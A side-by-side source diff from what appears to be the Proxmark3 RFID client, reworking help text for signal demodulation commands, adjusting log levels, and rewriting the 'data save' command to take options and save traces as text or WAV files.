#define arg_getsize(a) (sizeof(a) / sizeof(a[0])) #define arg_getsize(a) (sizeof(a) / sizeof(a[0]))
#define arg_get_lit(n)(((struct arg_lit*)argtable[n])->count) #define arg_get_lit(n) (((struct arg_lit*)argtable[n])->count)
#define arg_get_int_count(n)(((struct arg_int*)argtable[n])->count) #define arg_get_int_count(n)(((struct arg_int*)argtable[n])->count)
#define arg_get_int(n)(((struct arg_int*)argtable[n])->ival[0]) #define arg_get_int(n) (((struct arg_int*)argtable[n])->ival[0])
#define arg_get_int_def(n,def)(arg_get_int_count(n)?(arg_get_int(n)):(def)) #define arg_get_int_def(n, def)(arg_get_int_count(n) ? (arg_get_int(n)) : (def))
#define arg_get_str(n)((struct arg_str*)argtable[n]) #define arg_get_str(n) ((struct arg_str*)argtable[n])
#define arg_get_str_len(n)(strlen(((struct arg_str*)argtable[n])->sval[0])) #define arg_get_str_len(n) (strlen(((struct arg_str*)argtable[n])->sval[0]))
#define arg_strx1(shortopts, longopts, datatype, glossary) (arg_strn((shortopts), (longopts), (datatype), 1, 250, (glossary))) #define arg_strx1(shortopts, longopts, datatype, glossary) (arg_strn((shortopts), (longopts), (datatype), 1, 250, (glossary)))
#define arg_strx0(shortopts, longopts, datatype, glossary) (arg_strn((shortopts), (longopts), (datatype), 0, 250, (glossary))) #define arg_strx0(shortopts, longopts, datatype, glossary) (arg_strn((shortopts), (longopts), (datatype), 0, 250, (glossary)))

View file

@ -1,6 +1,8 @@
//----------------------------------------------------------------------------- //-----------------------------------------------------------------------------
// Copyright (C) 2010 iZsh <izsh at fail0verflow.com> // Copyright (C) 2010 iZsh <izsh at fail0verflow.com>
// //
// iceman 2019
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or, // This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of // at your option, any later version. See the LICENSE.txt file for the text of
// the license. // the license.
@ -32,6 +34,21 @@ int g_DemodClock = 0;
static int CmdHelp(const char *Cmd); static int CmdHelp(const char *Cmd);
static int usage_data_save(void) {
PrintAndLogEx(NORMAL, "Save trace from graph window , i.e. the GraphBuffer");
PrintAndLogEx(NORMAL, "This is a text file with number -127 to 127. With the option `w` you can save it as wave file");
PrintAndLogEx(NORMAL, "Filename should be without file extension");
PrintAndLogEx(NORMAL, "");
PrintAndLogEx(NORMAL, "Usage: data save [h] [w] [f <filename w/o ext>]");
PrintAndLogEx(NORMAL, "Options:");
PrintAndLogEx(NORMAL, " h this help");
PrintAndLogEx(NORMAL, " w save as wave format (.wav)");
PrintAndLogEx(NORMAL, " f <filename> save file name");
PrintAndLogEx(NORMAL, "Samples:");
PrintAndLogEx(NORMAL, " data save f mytrace - save graphbuffer to file");
PrintAndLogEx(NORMAL, " data save f mytrace w - save graphbuffer to wave file");
return PM3_SUCCESS;
}
static int usage_data_scale(void) { static int usage_data_scale(void) {
PrintAndLogEx(NORMAL, "Set cursor display scale."); PrintAndLogEx(NORMAL, "Set cursor display scale.");
PrintAndLogEx(NORMAL, "Setting the scale makes the differential `dt` reading between the yellow and purple markers meaningful. "); PrintAndLogEx(NORMAL, "Setting the scale makes the differential `dt` reading between the yellow and purple markers meaningful. ");
@ -40,8 +57,8 @@ static int usage_data_scale(void) {
PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "");
PrintAndLogEx(NORMAL, "Usage: data scale [h] <kHz>"); PrintAndLogEx(NORMAL, "Usage: data scale [h] <kHz>");
PrintAndLogEx(NORMAL, "Options:"); PrintAndLogEx(NORMAL, "Options:");
PrintAndLogEx(NORMAL, " h This help"); PrintAndLogEx(NORMAL, " h this help");
PrintAndLogEx(NORMAL, " <kHz> Sets scale of carrier frequency expressed in kHz"); PrintAndLogEx(NORMAL, " <kHz> sets scale of carrier frequency expressed in kHz");
PrintAndLogEx(NORMAL, "Samples:"); PrintAndLogEx(NORMAL, "Samples:");
PrintAndLogEx(NORMAL, " data scale 125 - if sampled in 125kHz"); PrintAndLogEx(NORMAL, " data scale 125 - if sampled in 125kHz");
return PM3_SUCCESS; return PM3_SUCCESS;
@ -49,7 +66,7 @@ static int usage_data_scale(void) {
static int usage_data_printdemodbuf(void) { static int usage_data_printdemodbuf(void) {
PrintAndLogEx(NORMAL, "Usage: data printdemodbuffer x o <offset> l <length>"); PrintAndLogEx(NORMAL, "Usage: data printdemodbuffer x o <offset> l <length>");
PrintAndLogEx(NORMAL, "Options:"); PrintAndLogEx(NORMAL, "Options:");
PrintAndLogEx(NORMAL, " h This help"); PrintAndLogEx(NORMAL, " h this help");
PrintAndLogEx(NORMAL, " i invert Demodbuffer before printing"); PrintAndLogEx(NORMAL, " i invert Demodbuffer before printing");
PrintAndLogEx(NORMAL, " x output in hex (omit for binary output)"); PrintAndLogEx(NORMAL, " x output in hex (omit for binary output)");
PrintAndLogEx(NORMAL, " o <offset> enter offset in # of bits"); PrintAndLogEx(NORMAL, " o <offset> enter offset in # of bits");
@ -83,19 +100,26 @@ static int usage_data_biphaserawdecode(void) {
} }
static int usage_data_rawdemod(void) { static int usage_data_rawdemod(void) {
PrintAndLogEx(NORMAL, "Usage: data rawdemod [modulation] <help>|<options>"); PrintAndLogEx(NORMAL, "Usage: data rawdemod [modulation] <help>|<options>");
PrintAndLogEx(NORMAL, " [modulation] as 2 char, 'ab' for ask/biphase, 'am' for ask/manchester, 'ar' for ask/raw, 'fs' for fsk, ..."); PrintAndLogEx(NORMAL, " [modulation] as 2 char,");
PrintAndLogEx(NORMAL, " 'nr' for nrz/direct, 'p1' for psk1, 'p2' for psk2"); PrintAndLogEx(NORMAL, " "_YELLOW_("ab")"- ask/biphase");
PrintAndLogEx(NORMAL, " "_YELLOW_("am")"- ask/manchester");
PrintAndLogEx(NORMAL, " "_YELLOW_("ar")"- ask/raw");
PrintAndLogEx(NORMAL, " "_YELLOW_("fs")"- fsk");
PrintAndLogEx(NORMAL, " "_YELLOW_("nr")"- nrz/direct");
PrintAndLogEx(NORMAL, " "_YELLOW_("p1")"- psk1");
PrintAndLogEx(NORMAL, " "_YELLOW_("p2")"- psk2");
PrintAndLogEx(NORMAL, " <help> as 'h', prints the help for the specific modulation"); PrintAndLogEx(NORMAL, " <help> as 'h', prints the help for the specific modulation");
PrintAndLogEx(NORMAL, " <options> see specific modulation help for optional parameters"); PrintAndLogEx(NORMAL, " <options> see specific modulation help for optional parameters");
PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "");
PrintAndLogEx(NORMAL, " Example: data rawdemod fs h = print help specific to fsk demod"); PrintAndLogEx(NORMAL, "Example:");
PrintAndLogEx(NORMAL, " : data rawdemod fs = demod GraphBuffer using: fsk - autodetect"); PrintAndLogEx(NORMAL, " data rawdemod fs h = print help specific to fsk demod");
PrintAndLogEx(NORMAL, " : data rawdemod ab = demod GraphBuffer using: ask/biphase - autodetect"); PrintAndLogEx(NORMAL, " data rawdemod fs = demod GraphBuffer using: fsk - autodetect");
PrintAndLogEx(NORMAL, " : data rawdemod am = demod GraphBuffer using: ask/manchester - autodetect"); PrintAndLogEx(NORMAL, " data rawdemod ab = demod GraphBuffer using: ask/biphase - autodetect");
PrintAndLogEx(NORMAL, " : data rawdemod ar = demod GraphBuffer using: ask/raw - autodetect"); PrintAndLogEx(NORMAL, " data rawdemod am = demod GraphBuffer using: ask/manchester - autodetect");
PrintAndLogEx(NORMAL, " : data rawdemod nr = demod GraphBuffer using: nrz/direct - autodetect"); PrintAndLogEx(NORMAL, " data rawdemod ar = demod GraphBuffer using: ask/raw - autodetect");
PrintAndLogEx(NORMAL, " : data rawdemod p1 = demod GraphBuffer using: psk1 - autodetect"); PrintAndLogEx(NORMAL, " data rawdemod nr = demod GraphBuffer using: nrz/direct - autodetect");
PrintAndLogEx(NORMAL, " : data rawdemod p2 = demod GraphBuffer using: psk2 - autodetect"); PrintAndLogEx(NORMAL, " data rawdemod p1 = demod GraphBuffer using: psk1 - autodetect");
PrintAndLogEx(NORMAL, " data rawdemod p2 = demod GraphBuffer using: psk2 - autodetect");
return PM3_SUCCESS; return PM3_SUCCESS;
} }
static int usage_data_rawdemod_am(void) { static int usage_data_rawdemod_am(void) {
@ -107,11 +131,12 @@ static int usage_data_rawdemod_am(void) {
PrintAndLogEx(NORMAL, " [set maximum Samples to read], default = 32768 (512 bits at rf/64)"); PrintAndLogEx(NORMAL, " [set maximum Samples to read], default = 32768 (512 bits at rf/64)");
PrintAndLogEx(NORMAL, " <amplify>, 'a' to attempt demod with ask amplification, default = no amp"); PrintAndLogEx(NORMAL, " <amplify>, 'a' to attempt demod with ask amplification, default = no amp");
PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "");
PrintAndLogEx(NORMAL, " Example: data rawdemod am = demod an ask/manchester tag from GraphBuffer"); PrintAndLogEx(NORMAL, "Example:");
PrintAndLogEx(NORMAL, " : data rawdemod am 32 = demod an ask/manchester tag from GraphBuffer using a clock of RF/32"); PrintAndLogEx(NORMAL, " data rawdemod am = demod an ask/manchester tag from GraphBuffer");
PrintAndLogEx(NORMAL, " : data rawdemod am 32 1 = demod an ask/manchester tag from GraphBuffer using a clock of RF/32 and inverting data"); PrintAndLogEx(NORMAL, " data rawdemod am 32 = demod an ask/manchester tag from GraphBuffer using a clock of RF/32");
PrintAndLogEx(NORMAL, " : data rawdemod am 1 = demod an ask/manchester tag from GraphBuffer while inverting data"); PrintAndLogEx(NORMAL, " data rawdemod am 32 1 = demod an ask/manchester tag from GraphBuffer using a clock of RF/32 and inverting data");
PrintAndLogEx(NORMAL, " : data rawdemod am 64 1 0 = demod an ask/manchester tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors"); PrintAndLogEx(NORMAL, " data rawdemod am 1 = demod an ask/manchester tag from GraphBuffer while inverting data");
PrintAndLogEx(NORMAL, " data rawdemod am 64 1 0 = demod an ask/manchester tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors");
return PM3_SUCCESS; return PM3_SUCCESS;
} }
static int usage_data_rawdemod_ab(void) { static int usage_data_rawdemod_ab(void) {
@ -128,13 +153,14 @@ static int usage_data_rawdemod_ab(void) {
PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "");
PrintAndLogEx(NORMAL, " NOTE: --invert for Conditional Dephase Encoding (CDP) AKA Differential Manchester"); PrintAndLogEx(NORMAL, " NOTE: --invert for Conditional Dephase Encoding (CDP) AKA Differential Manchester");
PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "");
PrintAndLogEx(NORMAL, " Example: data rawdemod ab = demod an ask/biph tag from GraphBuffer"); PrintAndLogEx(NORMAL, "Example:");
PrintAndLogEx(NORMAL, " : data rawdemod ab 0 a = demod an ask/biph tag from GraphBuffer, amplified"); PrintAndLogEx(NORMAL, " data rawdemod ab = demod an ask/biph tag from GraphBuffer");
PrintAndLogEx(NORMAL, " : data rawdemod ab 1 32 = demod an ask/biph tag from GraphBuffer using an offset of 1 and a clock of RF/32"); PrintAndLogEx(NORMAL, " data rawdemod ab 0 a = demod an ask/biph tag from GraphBuffer, amplified");
PrintAndLogEx(NORMAL, " : data rawdemod ab 0 32 1 = demod an ask/biph tag from GraphBuffer using a clock of RF/32 and inverting data"); PrintAndLogEx(NORMAL, " data rawdemod ab 1 32 = demod an ask/biph tag from GraphBuffer using an offset of 1 and a clock of RF/32");
PrintAndLogEx(NORMAL, " : data rawdemod ab 0 1 = demod an ask/biph tag from GraphBuffer while inverting data"); PrintAndLogEx(NORMAL, " data rawdemod ab 0 32 1 = demod an ask/biph tag from GraphBuffer using a clock of RF/32 and inverting data");
PrintAndLogEx(NORMAL, " : data rawdemod ab 0 64 1 0 = demod an ask/biph tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors"); PrintAndLogEx(NORMAL, " data rawdemod ab 0 1 = demod an ask/biph tag from GraphBuffer while inverting data");
PrintAndLogEx(NORMAL, " : data rawdemod ab 0 64 1 0 0 a = demod an ask/biph tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors, and amp"); PrintAndLogEx(NORMAL, " data rawdemod ab 0 64 1 0 = demod an ask/biph tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors");
PrintAndLogEx(NORMAL, " data rawdemod ab 0 64 1 0 0 a = demod an ask/biph tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors, and amp");
return PM3_SUCCESS; return PM3_SUCCESS;
} }
static int usage_data_rawdemod_ar(void) { static int usage_data_rawdemod_ar(void) {
@ -145,13 +171,14 @@ static int usage_data_rawdemod_ar(void) {
PrintAndLogEx(NORMAL, " [set maximum Samples to read], default = 32768 (1024 bits at rf/64)"); PrintAndLogEx(NORMAL, " [set maximum Samples to read], default = 32768 (1024 bits at rf/64)");
PrintAndLogEx(NORMAL, " <amplify>, 'a' to attempt demod with ask amplification, default = no amp"); PrintAndLogEx(NORMAL, " <amplify>, 'a' to attempt demod with ask amplification, default = no amp");
PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "");
PrintAndLogEx(NORMAL, " Example: data rawdemod ar = demod an ask tag from GraphBuffer"); PrintAndLogEx(NORMAL, "Example:");
PrintAndLogEx(NORMAL, " : data rawdemod ar a = demod an ask tag from GraphBuffer, amplified"); PrintAndLogEx(NORMAL, " data rawdemod ar = demod an ask tag from GraphBuffer");
PrintAndLogEx(NORMAL, " : data rawdemod ar 32 = demod an ask tag from GraphBuffer using a clock of RF/32"); PrintAndLogEx(NORMAL, " data rawdemod ar a = demod an ask tag from GraphBuffer, amplified");
PrintAndLogEx(NORMAL, " : data rawdemod ar 32 1 = demod an ask tag from GraphBuffer using a clock of RF/32 and inverting data"); PrintAndLogEx(NORMAL, " data rawdemod ar 32 = demod an ask tag from GraphBuffer using a clock of RF/32");
PrintAndLogEx(NORMAL, " : data rawdemod ar 1 = demod an ask tag from GraphBuffer while inverting data"); PrintAndLogEx(NORMAL, " data rawdemod ar 32 1 = demod an ask tag from GraphBuffer using a clock of RF/32 and inverting data");
PrintAndLogEx(NORMAL, " : data rawdemod ar 64 1 0 = demod an ask tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors"); PrintAndLogEx(NORMAL, " data rawdemod ar 1 = demod an ask tag from GraphBuffer while inverting data");
PrintAndLogEx(NORMAL, " : data rawdemod ar 64 1 0 0 a = demod an ask tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors, and amp"); PrintAndLogEx(NORMAL, " data rawdemod ar 64 1 0 = demod an ask tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors");
PrintAndLogEx(NORMAL, " data rawdemod ar 64 1 0 0 a = demod an ask tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors, and amp");
return PM3_SUCCESS; return PM3_SUCCESS;
} }
static int usage_data_rawdemod_fs(void) { static int usage_data_rawdemod_fs(void) {
@ -161,13 +188,14 @@ static int usage_data_rawdemod_fs(void) {
PrintAndLogEx(NORMAL, " [fchigh], larger field clock length, omit for autodetect"); PrintAndLogEx(NORMAL, " [fchigh], larger field clock length, omit for autodetect");
PrintAndLogEx(NORMAL, " [fclow], small field clock length, omit for autodetect"); PrintAndLogEx(NORMAL, " [fclow], small field clock length, omit for autodetect");
PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "");
PrintAndLogEx(NORMAL, " Example: data rawdemod fs = demod an fsk tag from GraphBuffer using autodetect"); PrintAndLogEx(NORMAL, "Example:");
PrintAndLogEx(NORMAL, " : data rawdemod fs 32 = demod an fsk tag from GraphBuffer using a clock of RF/32, autodetect fc"); PrintAndLogEx(NORMAL, " data rawdemod fs = demod an fsk tag from GraphBuffer using autodetect");
PrintAndLogEx(NORMAL, " : data rawdemod fs 1 = demod an fsk tag from GraphBuffer using autodetect, invert output"); PrintAndLogEx(NORMAL, " data rawdemod fs 32 = demod an fsk tag from GraphBuffer using a clock of RF/32, autodetect fc");
PrintAndLogEx(NORMAL, " : data rawdemod fs 32 1 = demod an fsk tag from GraphBuffer using a clock of RF/32, invert output, autodetect fc"); PrintAndLogEx(NORMAL, " data rawdemod fs 1 = demod an fsk tag from GraphBuffer using autodetect, invert output");
PrintAndLogEx(NORMAL, " : data rawdemod fs 64 0 8 5 = demod an fsk1 RF/64 tag from GraphBuffer"); PrintAndLogEx(NORMAL, " data rawdemod fs 32 1 = demod an fsk tag from GraphBuffer using a clock of RF/32, invert output, autodetect fc");
PrintAndLogEx(NORMAL, " : data rawdemod fs 50 0 10 8 = demod an fsk2 RF/50 tag from GraphBuffer"); PrintAndLogEx(NORMAL, " data rawdemod fs 64 0 8 5 = demod an fsk1 RF/64 tag from GraphBuffer");
PrintAndLogEx(NORMAL, " : data rawdemod fs 50 1 10 8 = demod an fsk2a RF/50 tag from GraphBuffer"); PrintAndLogEx(NORMAL, " data rawdemod fs 50 0 10 8 = demod an fsk2 RF/50 tag from GraphBuffer");
PrintAndLogEx(NORMAL, " data rawdemod fs 50 1 10 8 = demod an fsk2a RF/50 tag from GraphBuffer");
return PM3_SUCCESS; return PM3_SUCCESS;
} }
static int usage_data_rawdemod_nr(void) { static int usage_data_rawdemod_nr(void) {
@ -176,11 +204,12 @@ static int usage_data_rawdemod_nr(void) {
PrintAndLogEx(NORMAL, " <invert>, 1 for invert output"); PrintAndLogEx(NORMAL, " <invert>, 1 for invert output");
PrintAndLogEx(NORMAL, " [set maximum allowed errors], default = 100."); PrintAndLogEx(NORMAL, " [set maximum allowed errors], default = 100.");
PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "");
PrintAndLogEx(NORMAL, " Example: data rawdemod nr = demod a nrz/direct tag from GraphBuffer"); PrintAndLogEx(NORMAL, "Example:");
PrintAndLogEx(NORMAL, " : data rawdemod nr 32 = demod a nrz/direct tag from GraphBuffer using a clock of RF/32"); PrintAndLogEx(NORMAL, " data rawdemod nr = demod a nrz/direct tag from GraphBuffer");
PrintAndLogEx(NORMAL, " : data rawdemod nr 32 1 = demod a nrz/direct tag from GraphBuffer using a clock of RF/32 and inverting data"); PrintAndLogEx(NORMAL, " data rawdemod nr 32 = demod a nrz/direct tag from GraphBuffer using a clock of RF/32");
PrintAndLogEx(NORMAL, " : data rawdemod nr 1 = demod a nrz/direct tag from GraphBuffer while inverting data"); PrintAndLogEx(NORMAL, " data rawdemod nr 32 1 = demod a nrz/direct tag from GraphBuffer using a clock of RF/32 and inverting data");
PrintAndLogEx(NORMAL, " : data rawdemod nr 64 1 0 = demod a nrz/direct tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors"); PrintAndLogEx(NORMAL, " data rawdemod nr 1 = demod a nrz/direct tag from GraphBuffer while inverting data");
PrintAndLogEx(NORMAL, " data rawdemod nr 64 1 0 = demod a nrz/direct tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors");
return PM3_SUCCESS; return PM3_SUCCESS;
} }
static int usage_data_rawdemod_p1(void) { static int usage_data_rawdemod_p1(void) {
@ -189,11 +218,12 @@ static int usage_data_rawdemod_p1(void) {
PrintAndLogEx(NORMAL, " <invert>, 1 for invert output"); PrintAndLogEx(NORMAL, " <invert>, 1 for invert output");
PrintAndLogEx(NORMAL, " [set maximum allowed errors], default = 100."); PrintAndLogEx(NORMAL, " [set maximum allowed errors], default = 100.");
PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "");
PrintAndLogEx(NORMAL, " Example: data rawdemod p1 = demod a psk1 tag from GraphBuffer"); PrintAndLogEx(NORMAL, "Example:");
PrintAndLogEx(NORMAL, " : data rawdemod p1 32 = demod a psk1 tag from GraphBuffer using a clock of RF/32"); PrintAndLogEx(NORMAL, " data rawdemod p1 = demod a psk1 tag from GraphBuffer");
PrintAndLogEx(NORMAL, " : data rawdemod p1 32 1 = demod a psk1 tag from GraphBuffer using a clock of RF/32 and inverting data"); PrintAndLogEx(NORMAL, " data rawdemod p1 32 = demod a psk1 tag from GraphBuffer using a clock of RF/32");
PrintAndLogEx(NORMAL, " : data rawdemod p1 1 = demod a psk1 tag from GraphBuffer while inverting data"); PrintAndLogEx(NORMAL, " data rawdemod p1 32 1 = demod a psk1 tag from GraphBuffer using a clock of RF/32 and inverting data");
PrintAndLogEx(NORMAL, " : data rawdemod p1 64 1 0 = demod a psk1 tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors"); PrintAndLogEx(NORMAL, " data rawdemod p1 1 = demod a psk1 tag from GraphBuffer while inverting data");
PrintAndLogEx(NORMAL, " data rawdemod p1 64 1 0 = demod a psk1 tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors");
return PM3_SUCCESS; return PM3_SUCCESS;
} }
static int usage_data_rawdemod_p2(void) { static int usage_data_rawdemod_p2(void) {
@ -202,11 +232,12 @@ static int usage_data_rawdemod_p2(void) {
PrintAndLogEx(NORMAL, " <invert>, 1 for invert output"); PrintAndLogEx(NORMAL, " <invert>, 1 for invert output");
PrintAndLogEx(NORMAL, " [set maximum allowed errors], default = 100."); PrintAndLogEx(NORMAL, " [set maximum allowed errors], default = 100.");
PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "");
PrintAndLogEx(NORMAL, " Example: data rawdemod p2 = demod a psk2 tag from GraphBuffer, autodetect clock"); PrintAndLogEx(NORMAL, "Example:");
PrintAndLogEx(NORMAL, " : data rawdemod p2 32 = demod a psk2 tag from GraphBuffer using a clock of RF/32"); PrintAndLogEx(NORMAL, " data rawdemod p2 = demod a psk2 tag from GraphBuffer, autodetect clock");
PrintAndLogEx(NORMAL, " : data rawdemod p2 32 1 = demod a psk2 tag from GraphBuffer using a clock of RF/32 and inverting output"); PrintAndLogEx(NORMAL, " data rawdemod p2 32 = demod a psk2 tag from GraphBuffer using a clock of RF/32");
PrintAndLogEx(NORMAL, " : data rawdemod p2 1 = demod a psk2 tag from GraphBuffer, autodetect clock and invert output"); PrintAndLogEx(NORMAL, " data rawdemod p2 32 1 = demod a psk2 tag from GraphBuffer using a clock of RF/32 and inverting output");
PrintAndLogEx(NORMAL, " : data rawdemod p2 64 1 0 = demod a psk2 tag from GraphBuffer using a clock of RF/64, inverting output and allowing 0 demod errors"); PrintAndLogEx(NORMAL, " data rawdemod p2 1 = demod a psk2 tag from GraphBuffer, autodetect clock and invert output");
PrintAndLogEx(NORMAL, " data rawdemod p2 64 1 0 = demod a psk2 tag from GraphBuffer using a clock of RF/64, inverting output and allowing 0 demod errors");
return PM3_SUCCESS; return PM3_SUCCESS;
} }
static int usage_data_autocorr(void) { static int usage_data_autocorr(void) {
@ -406,7 +437,7 @@ static int CmdSetDebugMode(const char *Cmd) {
void printDemodBuff(void) { void printDemodBuff(void) {
int len = DemodBufferLen; int len = DemodBufferLen;
if (len < 1) { if (len < 1) {
PrintAndLogEx(NORMAL, "(printDemodBuff) no bits found in demod buffer"); PrintAndLogEx(INFO, "(printDemodBuff) no bits found in demod buffer");
return; return;
} }
if (len > 512) len = 512; if (len > 512) len = 512;
@ -458,7 +489,7 @@ int CmdPrintDemodBuff(const char *Cmd) {
if (errors) return usage_data_printdemodbuf(); if (errors) return usage_data_printdemodbuf();
if (DemodBufferLen == 0) { if (DemodBufferLen == 0) {
PrintAndLogEx(NORMAL, "Demodbuffer is empty"); PrintAndLogEx(WARNING, "Demodbuffer is empty");
return PM3_ESOFT; return PM3_ESOFT;
} }
if (lstrip) { if (lstrip) {
@ -491,9 +522,9 @@ int CmdPrintDemodBuff(const char *Cmd) {
if (numBits == 0) { if (numBits == 0) {
return PM3_ESOFT; return PM3_ESOFT;
} }
PrintAndLogEx(NORMAL, "DemodBuffer: %s", hex); PrintAndLogEx(SUCCESS, "DemodBuffer: %s", hex);
} else { } else {
PrintAndLogEx(NORMAL, "DemodBuffer:\n%s", sprint_bin_break(DemodBuffer + offset, length, 32)); PrintAndLogEx(SUCCESS, "DemodBuffer:\n%s", sprint_bin_break(DemodBuffer + offset, length, 32));
} }
return PM3_SUCCESS; return PM3_SUCCESS;
} }
@ -1558,7 +1589,7 @@ static uint8_t getByte(uint8_t bits_per_sample, BitstreamOut *b) {
return val; return val;
} }
int getSamples(uint32_t n, bool silent) { int getSamples(uint32_t n, bool verbose) {
//If we get all but the last byte in bigbuf, //If we get all but the last byte in bigbuf,
// we don't have to worry about remaining trash // we don't have to worry about remaining trash
// in the last byte in case the bits-per-sample // in the last byte in case the bits-per-sample
@ -1568,7 +1599,7 @@ int getSamples(uint32_t n, bool silent) {
if (n == 0 || n > sizeof(got)) if (n == 0 || n > sizeof(got))
n = sizeof(got); n = sizeof(got);
if (!silent) PrintAndLogEx(NORMAL, "Reading %d bytes from device memory\n", n); if (verbose) PrintAndLogEx(INFO, "Reading " _YELLOW_("%u") "bytes from device memory", n);
PacketResponseNG response; PacketResponseNG response;
if (!GetFromDevice(BIG_BUF, got, n, 0, NULL, 0, &response, 10000, true)) { if (!GetFromDevice(BIG_BUF, got, n, 0, NULL, 0, &response, 10000, true)) {
@ -1576,20 +1607,20 @@ int getSamples(uint32_t n, bool silent) {
return PM3_ETIMEOUT; return PM3_ETIMEOUT;
} }
if (!silent) PrintAndLogEx(NORMAL, "Data fetched"); if (verbose) PrintAndLogEx(SUCCESS, "Data fetched");
uint8_t bits_per_sample = 8; uint8_t bits_per_sample = 8;
//Old devices without this feature would send 0 at arg[0] //Old devices without this feature would send 0 at arg[0]
if (response.oldarg[0] > 0) { if (response.oldarg[0] > 0) {
sample_config *sc = (sample_config *) response.data.asBytes; sample_config *sc = (sample_config *) response.data.asBytes;
if (!silent) PrintAndLogEx(NORMAL, "Samples @ %d bits/smpl, decimation 1:%d ", sc->bits_per_sample, sc->decimation); if (verbose) PrintAndLogEx(INFO, "Samples @ " _YELLOW_("%d") "bits/smpl, decimation 1:%d ", sc->bits_per_sample, sc->decimation);
bits_per_sample = sc->bits_per_sample; bits_per_sample = sc->bits_per_sample;
} }
if (bits_per_sample < 8) { if (bits_per_sample < 8) {
if (!silent) PrintAndLogEx(NORMAL, "Unpacking..."); if (verbose) PrintAndLogEx(INFO, "Unpacking...");
BitstreamOut bout = { got, bits_per_sample * n, 0}; BitstreamOut bout = { got, bits_per_sample * n, 0};
int j = 0; int j = 0;
@ -1599,7 +1630,7 @@ int getSamples(uint32_t n, bool silent) {
} }
GraphTraceLen = j; GraphTraceLen = j;
if (!silent) PrintAndLogEx(NORMAL, "Unpacked %d samples", j); if (verbose) PrintAndLogEx(INFO, "Unpacked %d samples", j);
} else { } else {
for (int j = 0; j < n; j++) { for (int j = 0; j < n; j++) {
@ -1876,24 +1907,42 @@ int CmdSave(const char *Cmd) {
int len = 0; int len = 0;
char filename[FILE_PATH_SIZE] = {0x00}; char filename[FILE_PATH_SIZE] = {0x00};
uint8_t cmdp = 0;
bool errors = false, as_wave = false, has_name = false;
len = strlen(Cmd); while (param_getchar(Cmd, cmdp) != 0x00 && !errors) {
if (len > FILE_PATH_SIZE) len = FILE_PATH_SIZE; char ctmp = tolower(param_getchar(Cmd, cmdp));
memcpy(filename, Cmd, len); switch (ctmp) {
case 'h':
FILE *f = fopen(filename, "w"); return usage_data_save();
if (!f) { case 'f':
PrintAndLogEx(WARNING, "couldn't open '%s'", filename); len = param_getstr(Cmd, cmdp + 1, filename, FILE_PATH_SIZE);
return PM3_EFILE; if (len < 1) {
errors = true;
break;
}
has_name = true;
cmdp += 2;
break;
case 'w':
as_wave = true;
cmdp++;
break;
default:
PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp));
errors = true;
break;
}
} }
for (uint32_t i = 0; i < GraphTraceLen; i++) if (!has_name) errors = true;
fprintf(f, "%d\n", GraphBuffer[i]);
fclose(f); if (errors || cmdp == 0) return usage_data_save();
PrintAndLogEx(SUCCESS, "saved to " _YELLOW_("'%s'"), Cmd); if (as_wave)
return PM3_SUCCESS; return saveFileWAVE(filename, GraphBuffer, GraphTraceLen);
else
return saveFilePM3(filename, GraphBuffer, GraphTraceLen);
} }
static int CmdScale(const char *Cmd) { static int CmdScale(const char *Cmd) {
@ -2269,7 +2318,7 @@ static command_t CommandTable[] = {
{"printdemodbuffer", CmdPrintDemodBuff, AlwaysAvailable, "[x] [o] <offset> [l] <length> -- print the data in the DemodBuffer - 'x' for hex output"}, {"printdemodbuffer", CmdPrintDemodBuff, AlwaysAvailable, "[x] [o] <offset> [l] <length> -- print the data in the DemodBuffer - 'x' for hex output"},
{"rawdemod", CmdRawDemod, AlwaysAvailable, "[modulation] ... <options> -see help (h option) -- Demodulate the data in the GraphBuffer and output binary"}, {"rawdemod", CmdRawDemod, AlwaysAvailable, "[modulation] ... <options> -see help (h option) -- Demodulate the data in the GraphBuffer and output binary"},
{"samples", CmdSamples, IfPm3Present, "[512 - 40000] -- Get raw samples for graph window (GraphBuffer)"}, {"samples", CmdSamples, IfPm3Present, "[512 - 40000] -- Get raw samples for graph window (GraphBuffer)"},
{"save", CmdSave, AlwaysAvailable, "<filename> -- Save trace (from graph window)"}, {"save", CmdSave, AlwaysAvailable, "Save trace (from graph window)"},
{"setgraphmarkers", CmdSetGraphMarkers, AlwaysAvailable, "[orange_marker] [blue_marker] (in graph window)"}, {"setgraphmarkers", CmdSetGraphMarkers, AlwaysAvailable, "[orange_marker] [blue_marker] (in graph window)"},
{"scale", CmdScale, AlwaysAvailable, "<int> -- Set cursor display scale in carrier frequency expressed in kHz"}, {"scale", CmdScale, AlwaysAvailable, "<int> -- Set cursor display scale in carrier frequency expressed in kHz"},
{"setdebugmode", CmdSetDebugMode, AlwaysAvailable, "<0|1|2> -- Set Debugging Level on client side"}, {"setdebugmode", CmdSetDebugMode, AlwaysAvailable, "<0|1|2> -- Set Debugging Level on client side"},

View file

